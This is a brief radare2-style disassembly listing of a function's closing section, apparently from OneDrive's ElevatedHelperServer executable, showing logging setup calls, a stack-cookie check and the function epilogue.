mov qword [rsp + 0x20], rax
lea r9, str.InitializeLogging
mov r8d, reloc.OLEAUT32.dll_RegisterTypeLib
lea rdx, str.D:dbs_shodct0521_230459_0cmd_bclientonedriveProductElevatedHelperServerexewinmain.cpp
lea rcx, [rbp - 1]
call fcn.14001f43c
lea rdx, [rbp + 0x2f]
lea rcx, [rbp - 1]
call fcn.1400206a0
call fcn.1400202b8
mov rdx, rsi
lea rcx, str.App_Name
call fcn.140020434
nop
lea rcx, [rbp - 0x41]
call fcn.140009e68
nop
lea rcx, [rbp - 0x21]
call fcn.140009e68
mov eax, ebx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400b5860
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret